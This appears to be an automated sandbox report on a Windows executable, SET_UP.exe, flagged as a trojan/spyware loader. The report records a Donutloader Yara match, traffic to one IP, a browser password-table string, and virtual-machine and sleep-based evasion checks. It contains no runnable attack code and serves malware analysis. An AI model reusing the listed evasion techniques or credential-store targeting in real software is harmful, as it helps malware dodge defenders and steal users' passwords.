Source: SET_UP.exe, 00000000.00000003.1821012019.00000000037B7000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1820901714.00000000037B7000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1820776598.00000000037B7000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798963663.00000000037B7000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798859586.0000000003803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: SET_UP.exe, 00000000.00000003.1798963663.0000000003792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: SET_UP.exe, 00000000.00000003.1798496075.00000000037A9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798418588.00000000037AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: SET_UP.exe, 00000000.00000003.1798496075.00000000037A9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798418588.00000000037AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: SET_UP.exe, 00000000.00000003.1845184251.0000000003887000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: SET_UP.exe, 00000000.00000003.1845184251.0000000003887000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: SET_UP.exe, 00000000.00000003.1845184251.0000000003887000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: SET_UP.exe, 00000000.00000003.1845184251.0000000003887000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: SET_UP.exe, 00000000.00000003.1845184251.0000000003887000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 172.67.152.152:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.152:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.152:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.152:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.152:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.152:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.152:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.152:443 -> 192.168.2.4:49742 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2272600954.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000781F0	0_2_000781F0
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00078410	0_2_00078410
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00078060	0_2_00078060
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00078150	0_2_00078150
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000CA160	0_2_000CA160
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0010234F	0_2_0010234F
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0008C3F0	0_2_0008C3F0
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0010246F	0_2_0010246F
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000FE5CE	0_2_000FE5CE
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0008C5D0	0_2_0008C5D0
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000D4640	0_2_000D4640
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000C86F0	0_2_000C86F0
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0008C7F0	0_2_0008C7F0
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0007E800	0_2_0007E800
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000FAA09	0_2_000FAA09
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000A8A40	0_2_000A8A40
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0008CAB0	0_2_0008CAB0
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000A0AF0	0_2_000A0AF0
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00076B0C	0_2_00076B0C
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00104B60	0_2_00104B60
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00076C20	0_2_00076C20
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0008CF30	0_2_0008CF30
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00076FF6	0_2_00076FF6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000950C0	0_2_000950C0
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000F1160	0_2_000F1160
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00089280	0_2_00089280
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00077290	0_2_00077290
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000773D0	0_2_000773D0
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00077410	0_2_00077410
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000E3450	0_2_000E3450
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000F9547	0_2_000F9547
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000995A0	0_2_000995A0
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000B5660	0_2_000B5660
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000ED83F	0_2_000ED83F
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00077880	0_2_00077880
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00077900	0_2_00077900
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00077920	0_2_00077920
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000779D0	0_2_000779D0
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000EDA71	0_2_000EDA71
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00077B00	0_2_00077B00
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00077B80	0_2_00077B80
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000A7C00	0_2_000A7C00
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000C3C30	0_2_000C3C30
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00077C90	0_2_00077C90
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000CDD80	0_2_000CDD80
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00077DB0	0_2_00077DB0
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000FFF29	0_2_000FFF29

Source: C:\Users\user\Desktop\SET_UP.exe	Code function: String function: 000721C0 appears 150 times
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: String function: 00073320 appears 196 times
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: String function: 000E8030 appears 55 times
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: String function: 000731B0 appears 180 times

Source: SET_UP.exe

Static PE information: invalid certificate

Source: SET_UP.exe, 00000000.00000003.1748652793.0000000002D85000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameupdater.exeD vs SET_UP.exe
Source: SET_UP.exe, 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileNameupdater.exeD vs SET_UP.exe
Source: SET_UP.exe	Binary or memory string: OriginalFileNameupdater.exeD vs SET_UP.exe

Source: SET_UP.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 00000000.00000002.2272600954.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\SET_UP.exe

Code function: 0_2_0007C950 FormatMessageW,GetLastError,

0_2_0007C950

Source: C:\Users\user\Desktop\SET_UP.exe

Code function: 0_2_000DE190 CreateToolhelp32Snapshot,Process32FirstW,OpenProcess,QueryFullProcessImageNameW,CloseHandle,Process32NextW,CloseHandle,GetWindowThreadProcessId,GetWindowTextW,GetWindowLongW,GetWindowLongW,GetWindowLongW,GetWindowLongW,

0_2_000DE190

Source: C:\Users\user\Desktop\SET_UP.exe

Code function: 0_2_000D87D0 CoCreateInstance,

0_2_000D87D0

Source: C:\Users\user\Desktop\SET_UP.exe

Code function: 0_2_000B8920 SetWindowLongW,SetWindowLongW,FindResourceW,LoadResource,LockResource,SizeofResource,GetDC,GetDC,GetDeviceCaps,GetDeviceCaps,GetDC,GetDeviceCaps,GetDC,GetDC,LookupIconIdFromDirectoryEx,GetDC,GetDC,CreateIconFromResourceEx,GetDlgItem,SendMessageW,SetWindowTextW,

0_2_000B8920

Source: C:\Users\user\Desktop\SET_UP.exe

Command line argument: RICHED20.DLL

0_2_000D7F20

Source: SET_UP.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SET_UP.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SET_UP.exe, 00000000.00000003.1820861659.0000000003778000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798651148.0000000003796000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SET_UP.exe	String found in binary or memory: -startminimized
Source: SET_UP.exe	String found in binary or memory: /install
Source: SET_UP.exe	String found in binary or memory: -startappfirst
Source: SET_UP.exe	String found in binary or memory: -installready
Source: SET_UP.exe	String found in binary or memory: /installservice
Source: SET_UP.exe	String found in binary or memory: ]B0x%XMD5SHA256LastModifiedClientConfigPath.datServerConfigPathJustDownloadUpdatesStartMinimizedURLrestartapprestartappcmdstartappfirstNoGUIReducedGUIForceMSIBasicUIchecknowsilentsilentallsilentcritical/install:
Source: SET_UP.exe	String found in binary or memory: AUpdater finished. Mode: caphyon-advinst-updater:/Linkupdater.logRunning updater. Mode: Updater wizard ended. Return code: retryattemptsrememberpasswordloglevelautoupdatepolicyproxydownloadsfolderUpdater-comproxystub.dllSoftware\Caphyon\Advanced Updater\SettingsConfigFilePathNoAutoUpdateCheckNextUpdateCheck/checknow/silent/silentall/silentcritical-nofreqcheck-url-minuseractions-licensecheckurl-licenseid-justdownload-startminimized-restartapp-restartappcmd-nogui-reducedgui-showaitdlg-forcemsibasicui-startappfirst/configure/clean/justcheck-dumpdetected-critical-installready-licensendate/runservice/debugservice/installservice/configservice-name/uninstallservice/runserverIPCObjNameBase/set/automation-clsid-registerproxystub-Embedding
Source: SET_UP.exe	String found in binary or memory: AUpdater finished. Mode: caphyon-advinst-updater:/Linkupdater.logRunning updater. Mode: Updater wizard ended. Return code: retryattemptsrememberpasswordloglevelautoupdatepolicyproxydownloadsfolderUpdater-comproxystub.dllSoftware\Caphyon\Advanced Updater\SettingsConfigFilePathNoAutoUpdateCheckNextUpdateCheck/checknow/silent/silentall/silentcritical-nofreqcheck-url-minuseractions-licensecheckurl-licenseid-justdownload-startminimized-restartapp-restartappcmd-nogui-reducedgui-showaitdlg-forcemsibasicui-startappfirst/configure/clean/justcheck-dumpdetected-critical-installready-licensendate/runservice/debugservice/installservice/configservice-name/uninstallservice/runserverIPCObjNameBase/set/automation-clsid-registerproxystub-Embedding
Source: SET_UP.exe	String found in binary or memory: AUpdater finished. Mode: caphyon-advinst-updater:/Linkupdater.logRunning updater. Mode: Updater wizard ended. Return code: retryattemptsrememberpasswordloglevelautoupdatepolicyproxydownloadsfolderUpdater-comproxystub.dllSoftware\Caphyon\Advanced Updater\SettingsConfigFilePathNoAutoUpdateCheckNextUpdateCheck/checknow/silent/silentall/silentcritical-nofreqcheck-url-minuseractions-licensecheckurl-licenseid-justdownload-startminimized-restartapp-restartappcmd-nogui-reducedgui-showaitdlg-forcemsibasicui-startappfirst/configure/clean/justcheck-dumpdetected-critical-installready-licensendate/runservice/debugservice/installservice/configservice-name/uninstallservice/runserverIPCObjNameBase/set/automation-clsid-registerproxystub-Embedding

Source: C:\Users\user\Desktop\SET_UP.exe

File read: C:\Users\user\Desktop\SET_UP.exe

Jump to behavior

Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: SET_UP.exe

Static file information: File size 74900688 > 1048576

Source: SET_UP.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SET_UP.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SET_UP.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SET_UP.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SET_UP.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SET_UP.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SET_UP.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: SET_UP.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: C:\JobRelease\win\Release\stubs\x86\Updater.pdb source: SET_UP.exe

Source: SET_UP.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SET_UP.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SET_UP.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SET_UP.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SET_UP.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\SET_UP.exe

Code function: 0_2_000980F0 SHGetSpecialFolderLocation,LoadLibraryW,GetProcAddress,SHGetPathFromIDListW,SHGetMalloc,PathFileExistsW,CreateDirectoryW,

0_2_000980F0

Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0377E8F2 pushad ; ret	0_3_0377E900
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0377E8F2 pushad ; ret	0_3_0377E900
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0377E8F2 pushad ; ret	0_3_0377E900
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0377E8F2 pushad ; ret	0_3_0377E900
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0377F8FA pushad ; ret	0_3_0377F908
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0377F8FA pushad ; ret	0_3_0377F908
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0377F8FA pushad ; ret	0_3_0377F908
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0377F8FA pushad ; ret	0_3_0377F908
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0377F16D push esp; iretd	0_3_0377F16E
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0377F16D push esp; iretd	0_3_0377F16E
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0377F16D push esp; iretd	0_3_0377F16E
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0377F16D push esp; iretd	0_3_0377F16E
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0378015A push ebp; iretd	0_3_03780196
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0378015A push ebp; iretd	0_3_03780196
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0378015A push ebp; iretd	0_3_03780196
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0378015A push ebp; iretd	0_3_03780196
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_037801D6 push ebp; iretd	0_3_03780196
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_037801D6 push ebp; iretd	0_3_03780196
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_037801D6 push ebp; iretd	0_3_03780196
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_037801D6 push ebp; iretd	0_3_03780196
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0378190A pushad ; ret	0_3_03781918
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0378190A pushad ; ret	0_3_03781918
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0378190A pushad ; ret	0_3_03781918
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0378190A pushad ; ret	0_3_03781918
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0377E8F2 pushad ; ret	0_3_0377E900
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0377E8F2 pushad ; ret	0_3_0377E900
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0377E8F2 pushad ; ret	0_3_0377E900
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0377E8F2 pushad ; ret	0_3_0377E900
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0377F8FA pushad ; ret	0_3_0377F908
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0377F8FA pushad ; ret	0_3_0377F908
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_3_0377F8FA pushad ; ret	0_3_0377F908

Source: C:\Users\user\Desktop\SET_UP.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\SET_UP.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\SET_UP.exe

Code function: 0_2_0008DE50

0_2_0008DE50

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\SET_UP.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\SET_UP.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\SET_UP.exe

API coverage: 0.0 %

Source: C:\Users\user\Desktop\SET_UP.exe

Code function: 0_2_0008DE50

0_2_0008DE50

Source: C:\Users\user\Desktop\SET_UP.exe TID: 6672	Thread sleep time: -120000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe TID: 6700	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\SET_UP.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000FC3A9 FindFirstFileExW,		0_2_000FC3A9
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0007D7A0 GetLastError,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindClose,		0_2_0007D7A0

Source: C:\Users\user\Desktop\SET_UP.exe

Code function: 0_2_000E5701 VirtualQuery,GetSystemInfo,

0_2_000E5701

Source: SET_UP.exe, 00000000.00000003.2271414577.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1927727375.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.2271414577.0000000000C9C000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1797626769.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1904834876.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1875563619.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1843512985.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.2272348843.0000000000C9C000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.2272438866.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SET_UP.exe, 00000000.00000003.2271414577.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1927727375.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1797626769.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1904834876.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1875563619.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1843512985.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.2272438866.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW}/

Source: C:\Users\user\Desktop\SET_UP.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SET_UP.exe

Code function: 0_2_000EB983 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_000EB983

Source: C:\Users\user\Desktop\SET_UP.exe

Code function: 0_2_00097730 CreateFileW,GetLastError,OutputDebugStringW,OutputDebugStringW,SetFilePointer,FlushFileBuffers,WriteFile,WriteFile,FlushFileBuffers,WriteFile,FlushFileBuffers,WriteFile,FlushFileBuffers,WriteFile,FlushFileBuffers,OutputDebugStringW,WriteFile,WriteFile,FlushFileBuffers,FlushFileBuffers,

0_2_00097730

Source: C:\Users\user\Desktop\SET_UP.exe

Code function: 0_2_000980F0 SHGetSpecialFolderLocation,LoadLibraryW,GetProcAddress,SHGetPathFromIDListW,SHGetMalloc,PathFileExistsW,CreateDirectoryW,

0_2_000980F0

Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000FC138 mov eax, dword ptr fs:[00000030h]	0_2_000FC138
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000F289E mov eax, dword ptr fs:[00000030h]	0_2_000F289E
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000E5E3F mov esi, dword ptr fs:[00000030h]	0_2_000E5E3F

Source: C:\Users\user\Desktop\SET_UP.exe

Code function: 0_2_00074130 GetProcessHeap,

0_2_00074130

